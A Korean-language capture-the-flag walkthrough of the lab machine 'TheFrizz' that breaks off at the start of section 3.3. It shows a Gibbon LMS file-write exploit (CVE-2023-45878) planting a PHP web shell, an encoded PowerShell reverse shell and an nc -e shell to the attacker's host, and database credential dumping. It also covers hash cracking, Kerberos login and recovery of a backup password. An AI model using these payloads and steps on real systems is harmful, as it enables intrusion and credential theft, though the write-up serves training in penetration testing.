TheFrizz

1. 정찰

1.1. nmap

nmap 으로 정찰 결과 AD 서버인 것과 80 포트를 통해서 웹 서비스를 하는 것을 식별했다.

┌──(root㉿kali)-[/home/kali]
└─# nmap -sC -sV 10.129.232.168
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-29 21:46 +04
Nmap scan report for frizzdc.frizz.htb (10.129.232.168)
Host is up (0.36s latency).
Not shown: 987 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
22/tcp   open  ssh           OpenSSH for_Windows_9.5 (protocol 2.0)
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.2.12)
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
| http-title: Education — Walkerville Elementary School
|_Requested resource was http://frizzdc.frizz.htb/home/
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-12-30 00:46:38Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
Service Info: Hosts: localhost, FRIZZDC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 6h59m33s
| smb2-time: 
|   date: 2025-12-30T00:47:10
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 133.69 seconds

1.2. smb 정찰

smb 를 통해서 접근할 수 있는 것들을 정찰했으나 아무런 소득은 없었다.

┌──(root㉿kali)-[/home/kali/labs/TheFrizz]
└─# smbmap -H 10.129.232.168                                         

    ________  ___      ___  _______   ___      ___       __         _______
   /"       )|"  \    /"  ||   _  "\ |"  \    /"  |     /""\       |   __ "\
  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)
   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /' /\  \     |:  ____/
    __/  \   |: \.        |(|  _  \  |: \.        |  //  __'  \    (|  /
   /" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \
  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.7 | Shawn Evans - ShawnDEvans@gmail.com
                     https://github.com/ShawnDEvans/smbmap

[*] Detected 1 hosts serving SMB                                                                                                  
[*] Established 1 SMB connections(s) and 0 authenticated session(s)                                                      
[!] Something weird happened on (10.129.232.168) Error occurs while reading from remote(104) on line 1015                    
[*] Closed 1 connections                                                                                                     

┌──(root㉿kali)-[/home/kali/labs/TheFrizz]
└─# smbclient -N -L //10.129.232.168                                 
session setup failed: NT_STATUS_NOT_SUPPORTED

1.3. 웹 정찰

80포트를 서비스 하고 있기 때문에 웹 정찰을 진행했고 Gibbon-LMS 라는 서비스를 이용하는 것을 식별했다.

1.4. searchsploit 이용 취약점 확인

searchsploit 을 통해서 Gibbon 과 관련한 취약점을 확인하려고 했고, 해당 서비스가 v25 이기 때문에 RCE가 되는 51903.py 를 사용하려고 했다.

┌──(root㉿kali)-[/home/kali/labs/TheFrizz]
└─# searchsploit Gibbon    
--------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                             |  Path
--------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Gibbon LMS < v26.0.00 - Authenticated RCE                                                                                  | php/webapps/51903.py
Gibbon LMS v26.0.00 - SSTI vulnerability                                                                                   | php/webapps/51962.txt
--------------------------------------------------------------------------------------------------------------------------- ---------------------------------

하지만 정상적으로 작동하지 않아서 다음 국면으로 넘어간다.

┌──(root㉿kali)-[/home/kali/labs/TheFrizz]
└─# python 51903.py 10.129.48.215 80/Gibbon-LMS a@a 1234 "./nc -e /bin/bash 10.10.14.143 443"
http://10.129.48.215:80/Gibbon-LMS/login.php?timeout=true
{'Date': 'Tue, 30 Dec 2025 01:04:32 GMT', 'Server': 'Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12', 'Set-Cookie': 'G60fa1cd0af7be78b=bp20r9tmfjo72fivrhp5nr86p9; path=/; HttpOnly; SameSite=Lax', 'X-Frame-Options': 'SAMEORIGIN', 'Location': '/Gibbon-LMS/index.php?loginReturn=fail1', 'Pragma': 'no-cache', 'Cache-Control': 'max-age=0, no-cache, no-store, must-revalidate', 'Expires': 'Thu, 1 Jan 1970 00:00:00 GMT', 'Content-Length': '0', 'Keep-Alive': 'timeout=5, max=100', 'Connection': 'Keep-Alive', 'Content-Type': 'text/html; charset=UTF-8'}
Traceback (most recent call last):
  File "/home/kali/labs/TheFrizz/51903.py", line 80, in <module>
    cookie = login(sys.argv[1], sys.argv[2],sys.argv[3],sys.argv[4])
  File "/home/kali/labs/TheFrizz/51903.py", line 25, in login
    if Session_Cookie[4] is not None and '/index.php' in str(r.headers['Location']):
       ~~~~~~~~~~~~~~^^^
IndexError: list index out of range

1.5. CVE-2023-45878

Gibbon 의 v25 에대한 취약점이 존재하는 것을 식별했다. 먼저 해당 취약점을 갖고 있는 페이지에 접근 가능한지 curl 을 통해서 확인한다.

┌──(root㉿kali)-[/home/kali/labs/TheFrizz]
└─# curl -v http://frizzdc.frizz.htb/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php

* Host frizzdc.frizz.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.129.48.215
*   Trying 10.129.48.215:80...
* Connected to frizzdc.frizz.htb (10.129.48.215) port 80
* using HTTP/1.x
> GET /Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php HTTP/1.1
> Host: frizzdc.frizz.htb
> User-Agent: curl/8.13.0
> Accept: */*
> 
* Request completely sent off
< HTTP/1.1 200 OK
< Date: Tue, 30 Dec 2025 01:05:36 GMT
< Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
< Set-Cookie: G60fa1cd0af7be78b=f1lta75osmegncq9fttfi0nj55; path=/; HttpOnly; SameSite=Lax
< X-Frame-Options: SAMEORIGIN
< Pragma: no-cache
< Cache-Control: max-age=0, no-cache, no-store, must-revalidate
< Expires: Thu, 1 Jan 1970 00:00:00 GMT
< Content-Length: 0
< Content-Type: text/html; charset=UTF-8
< 
* Connection #0 to host frizzdc.frizz.htb left intact

2. 내부망 진입

2.1. 웹 쉘 업로드

그러고 나서 poc 를 올릴 내용을 준비해서 poc.php 를 만드는 것을 먼저 시도한다.

┌──(root㉿kali)-[/home/kali/labs/TheFrizz]
└─# echo 'Test String' | base64
VGVzdCBTdHJpbmcK
                                                                                                                                                             
┌──(root㉿kali)-[/home/kali/labs/TheFrizz]
└─# curl http://frizzdc.frizz.htb/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php -d 'img=image/png;test,VGVzdCBTdHJpbmcK&path=poc.php&gibbonPersonID=0000000001'
poc.php                                                                                                                                                             
┌──(root㉿kali)-[/home/kali/labs/TheFrizz]
└─# curl http://frizzdc.frizz.htb/Gibbon-LMS/poc.php
Test String

정상 작동하는 것을 확인했으면 shell.php 의 shell 파일을 만들어서 업로드를 진행한다.

┌──(root㉿kali)-[/home/kali/labs/TheFrizz]
└─# echo '<?php  system($_GET["cmd"]);  ?>' | base64
PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyAgPz4K

┌──(root㉿kali)-[/home/kali/labs/TheFrizz]
└─# curl http://frizzdc.frizz.htb/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php -d 'img=image/png;shell,PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyAgPz4K&path=shell.php&gibbonPersonID=0000000001'
shell.php                                                                                                                                                             

┌──(root㉿kali)-[/home/kali/labs/TheFrizz]
└─# curl http://frizzdc.frizz.htb/Gibbon-LMS/shell.php?cmd=whoami
frizz\w.webservice

2.2. 리버스 쉘 커넥트

웹 쉘이 정상 작동하는 것을 식별했으면 명령어로 리버스 쉘을 전달한다. 리버스 쉘은 이미 만들어진 것을 이용한다. https://www.revshells.com/ 우리는 본 실습에서 Powershell #3(base64) 를 이용한다.

┌──(root㉿kali)-[/home/kali/labs/TheFrizz]
└─# curl 'http://frizzdc.frizz.htb/Gibbon-LMS/shell.php?cmd=powershell%20-e%20JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMQA0ADMAIgAsADQANAAzACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=='

그리고 kali 에서 대기 모드로 있으면 리버스 쉘이 연결되는 것을 확인할 수 있다.

┌──(root㉿kali)-[/home/kali]
└─# nc -lvnp 443               
listening on [any] 443 ...
connect to [10.10.14.143] from (UNKNOWN) [10.129.48.215] 57110

PS C:\xampp\htdocs\Gibbon-LMS> cd C:\

2.3. config.php 파일 식별

내부를 뒤져 봤을 때 lsdir 을 통해서 flag 를 찾는 것은 힘들다고 판단했다. 이유는 아무런 내용이 나오지 않았다. 그래서 웹 서비스와 관련된 파일들을 뒤져봐야 겠다.

PS C:\> cd Users        
PS C:\Users> dir
PS C:\Users> cd C:\xampp\htdocs\Gibbon-LMS
PS C:\xampp\htdocs\Gibbon-LMS> dir


    Directory: C:\xampp\htdocs\Gibbon-LMS

[...SNIP...]

config.php 를 식별하면 DB의 유저네임인 MrGibbonsDB 과 그의 패스워드인 MisterGibbs!Parrot!?1 를 식별할 수 있다. 이를 통해서 DB에 접근해서 내부의 자료들을 식별할 것이다.

PS C:\xampp\htdocs\Gibbon-LMS> type config.php 
<?php
/*
Gibbon, Flexible & Open School System
Copyright (C) 2010, Ross Parker

This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program.  If not, see <http://www.gnu.org/licenses/>.
*/

/**
 * Sets the database connection information.
 * You can supply an optional $databasePort if your server requires one.
 */
$databaseServer = 'localhost';
$databaseUsername = 'MrGibbonsDB';
$databasePassword = 'MisterGibbs!Parrot!?1';
$databaseName = 'gibbon';

/**
 * Sets a globally unique id, to allow multiple installs on a single server.
 */
$guid = '7y59n5xz-uym-ei9p-7mmq-83vifmtyey2';

/**
 * Sets system-wide caching factor, used to balance performance and freshness.
 * Value represents number of page loads between cache refresh.
 * Must be positive integer. 1 means no caching.
 */
$caching = 10;
?>

2.4. DB 데이터 탈취

mysql.exe 파일을 이용해서 DATABASE 와 TABLE 정보를 확인한다. 그 중에 눈에 들어오는 Table 이 gibbonperson 이다. 여기에 개인 정보가 있을 것으로 추정할 수 있다.

PS C:\xampp\htdocs\Gibbon-LMS> \xampp\mysql\bin\mysql.exe -uMrGibbonsDB -p"MisterGibbs!Parrot!?1" -e "SHOW DATABASES;"
Database
gibbon
information_schema
test
PS C:\xampp\htdocs\Gibbon-LMS> \xampp\mysql\bin\mysql.exe -uMrGibbonsDB -p"MisterGibbs!Parrot!?1" 
PS C:\xampp\htdocs\Gibbon-LMS> \xampp\mysql\bin\mysql.exe -uMrGibbonsDB -p"MisterGibbs!Parrot!?1"
PS C:\xampp\htdocs\Gibbon-LMS> \xampp\mysql\bin\mysql.exe -uMrGibbonsDB -p"MisterGibbs!Parrot!?1" test -e "SHOW TABLES;"
PS C:\xampp\htdocs\Gibbon-LMS> \xampp\mysql\bin\mysql.exe -uMrGibbonsDB -p"MisterGibbs!Parrot!?1" gibbon -e "SHOW TABLES;"
Tables_in_gibbon
gibbonaction
gibbonactivity
gibbonactivityattendance
gibbonactivityslot
[...SNIP...]

gibbonperson 의 데이터를 확인해 보면 다음과 같은 컬럼들이 나온다.

PS C:\xampp\htdocs\Gibbon-LMS> \xampp\mysql\bin\mysql.exe -uMrGibbonsDB -p"MisterGibbs!Parrot!?1" gibbon -e "describe gibbonperson;"
Field   Type    Null    Key     Default Extra
gibbonPersonID  int(10) unsigned zerofill       NO      PRI     NULL    auto_increment
title   varchar(5)      NO              NULL
surname varchar(60)     NO
firstName       varchar(60)     NO
preferredName   varchar(60)     NO
[...SNIP...]

해당 테이블을 뒤져보면 f.frizzle 이라는 계정의 비밀번호와 salt 값이 나오는 거를 확인할 수 있다.

PS C:\xampp\htdocs\Gibbon-LMS> \xampp\mysql\bin\mysql.exe -uMrGibbonsDB -p"MisterGibbs!Parrot!?1" gibbon -e "select username,passwordStrong,passwordStrongSalt from gibbonperson;"
username        passwordStrong  passwordStrongSalt
f.frizzle       067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03        /aACFhikmNopqrRTVz2489
PS C:\xampp\htdocs\Gibbon-LMS> 

해당 솔트값을 : 을 넣은 채로 해쉬 파일로 만들어서 hashcat 을 통해서 돌리면 안내사항이 나온다. 어떻게 해쉬를 사용해야 할지에 대해서 알려주는 거다. 우리의 경우에 salt.pass 의 순으로 돼있으므로 1420번에 해당하는 모듈을 사용해야 한다.

┌──(root㉿kali)-[/home/kali/labs/TheFrizz]
└─# echo '067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03:/aACFhikmNopqrRTVz2489' > hash

┌──(root㉿kali)-[/home/kali/labs/TheFrizz]
└─# hashcat hash /usr/share/wordlists/rockyou.txt                    
hashcat (v6.2.6) starting in autodetect mode

OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, POCL_DEBUG) - Platform #1 [The pocl project]
============================================================================================================================================
* Device #1: cpu--0x000, 2909/5883 MB (1024 MB allocatable), 4MCU

The following 12 hash-modes match the structure of your input hash:

      # | Name                                                       | Category
  ======+============================================================+======================================
   1410 | sha256($pass.$salt)                                        | Raw Hash salted and/or iterated
   1420 | sha256($salt.$pass)                                        | Raw Hash salted and/or iterated
  22300 | sha256($salt.$pass.$salt)                                  | Raw Hash salted and/or iterated
  20720 | sha256($salt.sha256($pass))                                | Raw Hash salted and/or iterated
  21420 | sha256($salt.sha256_bin($pass))                            | Raw Hash salted and/or iterated
   1440 | sha256($salt.utf16le($pass))                               | Raw Hash salted and/or iterated
  20710 | sha256(sha256($pass).$salt)                                | Raw Hash salted and/or iterated
   1430 | sha256(utf16le($pass).$salt)                               | Raw Hash salted and/or iterated
   1450 | HMAC-SHA256 (key = $pass)                                  | Raw Hash authenticated
   1460 | HMAC-SHA256 (key = $salt)                                  | Raw Hash authenticated
  11750 | HMAC-Streebog-256 (key = $pass), big-endian                | Raw Hash authenticated
  11760 | HMAC-Streebog-256 (key = $salt), big-endian                | Raw Hash authenticated

Please specify the hash-mode with -m [hash-mode].

Started: Mon Dec 29 22:12:44 2025
Stopped: Mon Dec 29 22:12:45 2025

크랙한 해쉬 값은 아래와 같다.

┌──(root㉿kali)-[/home/kali/labs/TheFrizz]
└─# hashcat hash -m 1420 /usr/share/wordlists/rockyou.txt --show
067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03:/aACFhikmNopqrRTVz2489:Jenni_Luvs_Magic23

2.5. ssh 접속

먼저 ssh 에 접근하기에 앞서 시간을 해당 서버와 맞춰주는 작업을 진행한다. 그 다음에 nxc 를 이용해서 smb 로 접근이 가능한지 여부를 확인한다. 여기서 -k 옵션을 사용하는 것은 NTLM 으로 접근이 불가능한 환경에서 Kerberos 티켓을 이용해서 대신 접근이 가능한지 여부를 확인하는 것이다.

┌──(root㉿kali)-[/home/kali/labs/TheFrizz]
└─# sudo ntpdate frizzdc.frizz.htb                                       
2025-12-30 05:14:55.524241 (+0400) +7.627739 +/- 0.173419 frizzdc.frizz.htb 10.129.48.215 s1 no-leap
CLOCK: time stepped by 7.627739

┌──(root㉿kali)-[/home/kali/labs/TheFrizz]
└─# netexec smb frizzdc.frizz.htb -u f.frizzle -p 'Jenni_Luvs_Magic23' -k

SMB         frizzdc.frizz.htb 445    frizzdc          [*]  x64 (name:frizzdc) (domain:frizz.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB         frizzdc.frizz.htb 445    frizzdc          [+] frizz.htb\f.frizzle:Jenni_Luvs_Magic23 

정상적으로 접근이 되는 것을 식별하였으므로 공유 폴더 목록이 출력되는 지를 확인한다.

┌──(root㉿kali)-[/home/kali/labs/TheFrizz]
└─# netexec smb frizzdc.frizz.htb -u f.frizzle -p 'Jenni_Luvs_Magic23' -k --shares                      
SMB         frizzdc.frizz.htb 445    frizzdc          [*]  x64 (name:frizzdc) (domain:frizz.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB         frizzdc.frizz.htb 445    frizzdc          [+] frizz.htb\f.frizzle:Jenni_Luvs_Magic23 
SMB         frizzdc.frizz.htb 445    frizzdc          [*] Enumerated shares
SMB         frizzdc.frizz.htb 445    frizzdc          Share           Permissions     Remark
SMB         frizzdc.frizz.htb 445    frizzdc          -----           -----------     ------
SMB         frizzdc.frizz.htb 445    frizzdc          ADMIN$                          Remote Admin
SMB         frizzdc.frizz.htb 445    frizzdc          C$                              Default share
SMB         frizzdc.frizz.htb 445    frizzdc          IPC$            READ            Remote IPC
SMB         frizzdc.frizz.htb 445    frizzdc          NETLOGON        READ            Logon server share 
SMB         frizzdc.frizz.htb 445    frizzdc          SYSVOL          READ            Logon server share 

그 다음에 --generate-krb5-file krb5.conf 옵션을 넣어서 krb5.conf 를 생성하면, /etc/krb5.conf 를 직접 수정하지 않고도 바로 Kerberos 를 사용할 수 있다.

┌──(root㉿kali)-[/home/kali/labs/TheFrizz]
└─# netexec smb frizzdc.frizz.htb -u f.frizzle -p 'Jenni_Luvs_Magic23' -k --generate-krb5-file krb5.conf
SMB         frizzdc.frizz.htb 445    frizzdc          [*]  x64 (name:frizzdc) (domain:frizz.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB         frizzdc.frizz.htb 445    frizzdc          [-] Error checking if user is admin on frizzdc.frizz.htb: The NETBIOS connection with the remote host timed out.
SMB         frizzdc.frizz.htb 445    frizzdc          [+] frizz.htb\f.frizzle:Jenni_Luvs_Magic23 

그 다음에 f.frizzle 에 대해서 TGT 를 받아두고, 다른 공격도구(예. secretsdump) 등을 사용할 때 패스워드를 더 이상 입력하지 않고 사용하기 위함이다.

klist 를 통해서 확인한 결과 해당 도메인에 정상적으로 로그인이 된 상태임을 확인할 수 있고, TGT 가 존재하므로 TGS 를 요청할 수 있는 권한이 생긴다.

┌──(root㉿kali)-[/home/kali/labs/TheFrizz]
└─# kinit f.frizzle
Password for f.frizzle@FRIZZ.HTB: 
┌──(root㉿kali)-[/home/kali/labs/TheFrizz]
└─# klist          
Ticket cache: FILE:/tmp/krb5cc_0
Default principal: f.frizzle@FRIZZ.HTB

Valid starting       Expires              Service principal
12/30/2025 05:17:01  12/30/2025 15:17:01  krbtgt/FRIZZ.HTB@FRIZZ.HTB
        renew until 12/31/2025 05:16:54

Kerberos 인증서를 완전히 등록을 하였으므로 해당 티켓을 통해서 ssh 에 접근이 가능한 모습을 확인할 수 있다. 여기서 f.frizzle 의 Desktop 파일 속에 user.txt 를 확인해서 일반 flag 를 획득할 수 있다.

┌──(root㉿kali)-[/home/kali/labs/TheFrizz]
└─# ssh -k f.frizzle@frizzdc.frizz.htb
PowerShell 7.4.5
PS C:\Users\f.frizzle> 
PS C:\Users\f.frizzle> type .\Desktop\user.txt
e272109bd89b54aec7d03eca95b3830f
PS C:\Users\f.frizzle> cd C:\
PS C:\> cd Users
PS C:\Users> tree . /f              
Folder PATH listing
Volume serial number is 000001DC D129:C3DA
C:\USERS
├───Administrator
├───f.frizzle
│   ├───Desktop
│   │       user.txt
│   │       
│   ├───Documents
│   ├───Downloads
│   ├───Favorites
│   ├───Links
│   ├───Music
│   ├───Pictures
│   ├───Saved Games
│   └───Videos
├───M.SchoolBus
├───Public
├───v.frizzle
└───w.Webservice
PS C:\Users> 

3. 권한 상승

3.1. 쓰레기통 뒤지기

먼저 루트 디렉터리로 이동한 다음에 ls 를 진행하면 특별한 것이 나오지 않는다. -force 옵션을 이용하면 숨김 파일까지 다 확인할 수 있는데, 그 중에 $RECYCLE.BIN 파일을 확인하는 과정을 거친다.

PS C:\> ls -force

    Directory: C:\

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d--hs          10/29/2024  7:31 AM                $RECYCLE.BIN
d--h-           3/10/2025  3:31 PM                $WinREAgent
d--hs           7/24/2025 12:41 PM                Config.Msi
l--hs          10/29/2024  9:12 AM                Documents and Settings -> C:\Users
d----           3/10/2025  3:39 PM                inetpub
d----            5/8/2021  1:15 AM                PerfLogs
d-r--           7/24/2025 12:41 PM                Program Files
d----            5/8/2021  2:34 AM                Program Files (x86)
d--h-           2/20/2025  2:50 PM                ProgramData
d--hs          10/29/2024  9:12 AM                Recovery
d--hs          10/29/2024  7:25 AM                System Volume Information
d-r--          10/29/2024  7:31 AM                Users
d----           3/10/2025  3:41 PM                Windows
d----          10/29/2024  7:28 AM                xampp
-a-hs          10/29/2024  8:27 AM          12288 DumpStack.log.tmp

PS C:\> cd '$RECYCLE.BIN'

쓰레기통 폴더를 뒤져보면 S-1-5-21-2386970044-1145388522-2932701813-1103 디렉토리를 확인할 수 있다. 내부에는 두 가지 파일이 존재한다. 이 중에서 I로 시작하는 파일은 Information 을 뜻하며 삭제된 파일의 정보를 담고 있고 R 로 시작하는 파일이 제대로 된 내용을 담고 있다.

I 로 시작하는 파일 내용을 확인해서 파일명이나 확장자 명등을 확인할 수 있지만 본 실습에서는 생략하였다.

PS C:\> cd '$RECYCLE.BIN'
PS C:\$RECYCLE.BIN> ls -force

    Directory: C:\$RECYCLE.BIN

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d--hs          10/29/2024  7:31 AM                S-1-5-21-2386970044-1145388522-2932701813-1103

PS C:\$RECYCLE.BIN> cd S-1-5-21-2386970044-1145388522-2932701813-1103
PS C:\$RECYCLE.BIN\S-1-5-21-2386970044-1145388522-2932701813-1103> ls -force

    Directory: C:\$RECYCLE.BIN\S-1-5-21-2386970044-1145388522-2932701813-1103

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a---          10/29/2024  7:31 AM            148 $IE2XMEG.7z
-a---          10/24/2024  9:16 PM       30416987 $RE2XMEG.7z
-a-hs          10/29/2024  7:31 AM            129 desktop.ini

따라서 해당 파일을 kali 로 전송해서 분석을 진행한다.

┌──(root㉿kali)-[/home/kali/labs/TheFrizz]
└─# scp 'f.frizzle@frizz.htb:C:/$RECYCLE.BIN/S-1-5-21-2386970044-1145388522-2932701813-1103/$RE2XMEG.7z' wapt-backup-sunday.7z
$RE2XMEG.7z                                           100%   29MB 308.3KB/s   01:36    0KB/s   01:19 ETA 281.7KB/s   01:28 ETA

┌──(root㉿kali)-[/home/kali/labs/TheFrizz]
└─# ls
51903.py  hash  krb5.conf  wapt-backup-sunday.7z

3.2. 파일 분석

해당 파일의 압축을 해제한다.

┌──(root㉿kali)-[/home/kali/labs/TheFrizz]
└─# 7z x wapt-backup-sunday.7z  

7-Zip 24.09 (arm64) : Copyright (c) 1999-2024 Igor Pavlov : 2024-11-29
 64-bit arm_v:8-A locale=en_US.UTF-8 Threads:4 OPEN_MAX:1024, ASM

Scanning the drive for archives:
1 file, 30416987 bytes (30 MiB)

Extracting archive: wapt-backup-sunday.7z
--
Path = wapt-backup-sunday.7z
Type = 7z
Physical Size = 30416987
Headers Size = 65880
Method = ARM64 LZMA2:26 LZMA:20 BCJ2
Solid = +
Blocks = 3

Everything is Ok                                               

Folders: 684
Files: 5384
Size:       141187501
Compressed: 30416987
                                                                                                                                                             
┌──(root㉿kali)-[/home/kali/labs/TheFrizz]
└─# ll                                                                                                                        
total 29732
-rwxr-xr-x  1 root root     6631 Dec 29 22:02 51903.py
-rw-r--r--  1 root root       88 Dec 29 22:12 hash
-rw-r--r--  1 root root      312 Dec 30 05:16 krb5.conf
drwxr-xr-x 18 root root     4096 Oct 23  2024 wapt
-rw-------  1 root root 30416987 Dec 30 05:26 wapt-backup-sunday.7z

해당 폴더 내부에 진입하면 많은 파일들이 있다.

┌──(root㉿kali)-[/home/kali/labs/TheFrizz]
└─# cd wapt         

┌──(root㉿kali)-[/home/kali/labs/TheFrizz/wapt]
└─# ls
auth_module_ad.py  keys          setupdevhelpers.py       unins000.msg              wapt-get.ini.tmpl  wapt-scanpackages.py  waptwua
cache              languages     setuphelpers_linux.py    version-full              wapt-get.py        waptself.exe          wgetwads32.exe
common.py          lib           setuphelpers_macos.py    waptbinaries.sha256       waptguihelper.pyd  waptserver.exe        wgetwads64.exe
conf               licencing.py  setuphelpers.py          waptconsole.exe.manifest  waptlicences.pyd   waptservice.exe
conf.d             log           setuphelpers_unix.py     waptcrypto.py             waptmessage.exe    wapt-signpackages.py
COPYING.txt        private       setuphelpers_windows.py  wapt-enterprise.ico       waptpackage.py     wapttftpserver
db                 __pycache__   ssl                      wapt-get.exe              wapt.psproj        wapttftpserver.exe
DLLs               revision.txt  templates                wapt-get.exe.manifest     waptpython.exe     wapttray.exe
keyfinder.py       Scripts       trusted_external_certs   wapt-get.ini              waptpythonw.exe    waptutils.py

그 중에서 conf 폴더를 진입하고 .ini 파일의 내용을 확인한다. 해당 파일에 wapt_password 라는 항목이 보이고 base64 로 암호화된 내용을 확인할 수 있다. 해당 내용을 복호화 하면 비밀번호를 평문으로 추출할 수 있다.

┌──(root㉿kali)-[/home/kali/labs/TheFrizz/wapt]
└─# cd conf              

┌──(root㉿kali)-[/home/…/labs/TheFrizz/wapt/conf]
└─# ls            
ca-192.168.120.158.crt  ca-192.168.120.158.pem  forward_ssl_auth.conf  require_ssl_auth.conf  uwsgi_params  waptserver.ini  waptserver.ini.template

┌──(root㉿kali)-[/home/…/labs/TheFrizz/wapt/conf]
└─# cat waptserver.ini   
[options]
allow_unauthenticated_registration = True
wads_enable = True
login_on_wads = True
waptwua_enable = True
secret_key = ylPYfn9tTU9IDu9yssP2luKhjQijHKvtuxIzX9aWhPyYKtRO7tMSq5sEurdTwADJ
server_uuid = 646d0847-f8b8-41c3-95bc-51873ec9ae38
token_secret_key = 5jEKVoXmYLSpi5F7plGPB4zII5fpx0cYhGKX5QC0f7dkYpYmkeTXiFlhEJtZwuwD
wapt_password = IXN1QmNpZ0BNZWhUZWQhUgo=
clients_signing_key = C:\wapt\conf\ca-192.168.120.158.pem
clients_signing_certificate = C:\wapt\conf\ca-192.168.120.158.crt

[tftpserver]
root_dir = c:\wapt\waptserver\repository\wads\pxe
log_path = c:\wapt\log


┌──(root㉿kali)-[/home/…/labs/TheFrizz/wapt/conf]
└─# echo IXN1QmNpZ0BNZWhUZWQhUgo= | base64 -d             
!suBcig@MehTed!R

3.3. m.schoolbus 계정 로그인 시도 및 권한 확인

